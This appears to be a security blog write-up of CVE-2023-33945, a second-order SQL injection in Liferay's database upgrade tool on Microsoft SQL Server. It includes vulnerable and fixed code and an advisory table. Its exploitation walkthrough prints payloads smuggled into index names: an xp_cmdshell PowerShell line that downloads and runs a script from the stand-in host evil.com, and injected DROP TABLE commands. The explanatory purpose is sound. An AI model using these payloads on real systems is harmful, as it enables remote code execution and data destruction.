Feb 21, 2026·6 min read·5 visits
Liferay's upgrade tool blindly trusts database index names. If an attacker renames an index to include SQL commands, the upgrade process executes them with high privileges. It's a logic bomb waiting for patch day.
A high-complexity, second-order SQL injection vulnerability residing within the Liferay Portal/DXP database upgrade process for Microsoft SQL Server. Unlike typical web-based SQLi, this flaw weaponizes the database metadata itself. An attacker with the ability to modify schema identifiers (specifically primary key index names) can plant a payload that executes arbitrary SQL commands when an administrator initiates a system upgrade. This essentially turns the maintenance process into a trigger for Remote Code Execution (RCE).
In the world of web exploitation, we usually look for the front door: a search bar, a login form, or a REST API endpoint that doesn't sanitize input. We throw quotes at it until it breaks. But CVE-2023-33945 is a different breed of beast. It's a sleeper agent. It’s a landmine planted in the very foundation of the building, waiting for the architect to come by for renovations.
This vulnerability targets the Upgrade Process of Liferay DXP and Portal. Think about what happens during an upgrade. The software needs to migrate data, change column types, and drop old constraints. To do this, it has to query the database to understand the current structure. It asks, "Hey, what are the primary keys on this table?"
The vulnerability arises because the developers made a fatal assumption: they assumed the database schema was a "trusted source." They assumed that an index name like PK_Users would always be a safe string. They didn't anticipate that an attacker might have renamed that index to something like PK_Users']; EXEC xp_cmdshell 'calc'; --. When the upgrade tool reads that metadata and tries to drop the index, it unwittingly executes the payload.
The root cause here is a failure to sanitize metadata retrieved from the database before using it in Dynamic SQL. This is a classic Second-Order SQL Injection, specifically targeting the Data Definition Language (DDL) operations.
Here is the logic flow that creates the vulnerability:
DatabaseMetaData.getPrimaryKeys().DROP CONSTRAINT statement.The flaw is specific to Microsoft SQL Server (MSSQL) in this context, likely due to how Liferay constructs T-SQL statements for that specific dialect. While other databases might throw syntax errors if you put weird characters in an identifier, MSSQL is happy to oblige if you break out of the identifier context correctly.
Let's look at a reconstruction of the vulnerable logic. This isn't the exact proprietary code, but it represents the pattern used in the affected BaseDB or upgrade classes handling MSSQL interactions.
// 1. Fetch metadata from the DB
ResultSet rs = databaseMetaData.getPrimaryKeys(null, schema, tableName);
while (rs.next()) {
String pkName = rs.getString("PK_NAME");
// 2. The fatal flaw: String concatenation without escaping
// The developer assumes pkName is safe because it came from the DB.
String sql = "ALTER TABLE " + tableName + " DROP CONSTRAINT " + pkName;
// 3. Execute with high privileges
statement.execute(sql);
}If pkName contains PK_1]; DROP TABLE Users; --, the resulting SQL becomes:
ALTER TABLE MyTable DROP CONSTRAINT PK_1]; DROP TABLE Users; --MSSQL sees the semicolon, terminates the ALTER statement (after failing or succeeding depending on syntax nuances), and then cheerfully executes the DROP TABLE command.
To fix this, the input must be treated as a literal identifier. In MSSQL, this usually means wrapping the identifier in brackets [] and escaping any closing brackets inside the name.
// Sanitized/Escaped Version
String escapedPkName = pkName.replace("]", "]]"); // Escape existing brackets
String sql = "ALTER TABLE " + tableName + " DROP CONSTRAINT [" + escapedPkName + "]";By enclosing the name in brackets, the database engine treats the entire string as the identifier, rendering the payload inert.
Exploiting this requires patience and a specific precondition: Schema Modification Access. You generally can't just throw this payload at a login form. You need a way to create or rename an index in the database.
Step 1: Initial Access.
The attacker needs a foothold. This could be a lower-severity SQL injection elsewhere in the application that allows ALTER TABLE commands, or compromised credentials for a user with ALTER permissions. Let's assume we found a minor SQLi in a reporting module.
Step 2: Planting the Seed.
The attacker uses their access to rename a valid Primary Key on a table known to be touched during upgrades (e.g., User_).
-- The payload is injected into the index name itself
EXEC sp_rename 'PK_User_', 'PK_User_']; EXEC xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString("http://evil.com/shell.ps1")''; --';Step 3: The Waiting Game. The system continues to function normally. The index name is weird, but MSSQL doesn't care. The Liferay application doesn't care... yet.
Step 4: The Trigger.
The Liferay administrator decides it's time to patch the server or upgrade from 7.3 to 7.4. They shut down the web server and run the upgrade tool. The tool connects as the database owner (often sa or db_owner for upgrades).
Step 5: Detonation.
The upgrade tool scans the User_ table, sees the malicious PK name, tries to drop it to apply a new schema, and accidentally executes the PowerShell command. The attacker now has a shell running with the privileges of the database service (often SYSTEM or Network Service).
You might argue, "If I already have ALTER permissions, don't I already own the database?" Not necessarily.
Privilege Escalation: You might have access to a scoped user who can modify tables but cannot execute xp_cmdshell or access the underlying OS. The upgrade process, however, typically runs with superuser privileges to handle heavy schema changes. By planting this mine, you escalate from "DB User" to "System Administrator" when the upgrade runs.
Persistence: This is an excellent persistence mechanism. Even if the blue team clears the web shells, if they don't audit the database schema names, the next maintenance window re-infects the server.
Data Destruction: A malicious actor could simply set the payload to DROP DATABASE Lportal, wiping the entire system during what was supposed to be a routine update.
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Liferay Portal Liferay | 7.3.1 - 7.4.3.17 | 7.4.3.18 |
Liferay DXP Liferay | 7.3 < Update 6 | Update 6 |
Liferay DXP Liferay | 7.4 < Update 18 | Update 18 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 (SQL Injection) |
| Attack Vector | Network (Second Order) |
| CVSS | 6.4 (Medium) |
| Impact | Full System Compromise / RCE |
| Context | Database Upgrade Process |
| Database | Microsoft SQL Server Only |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')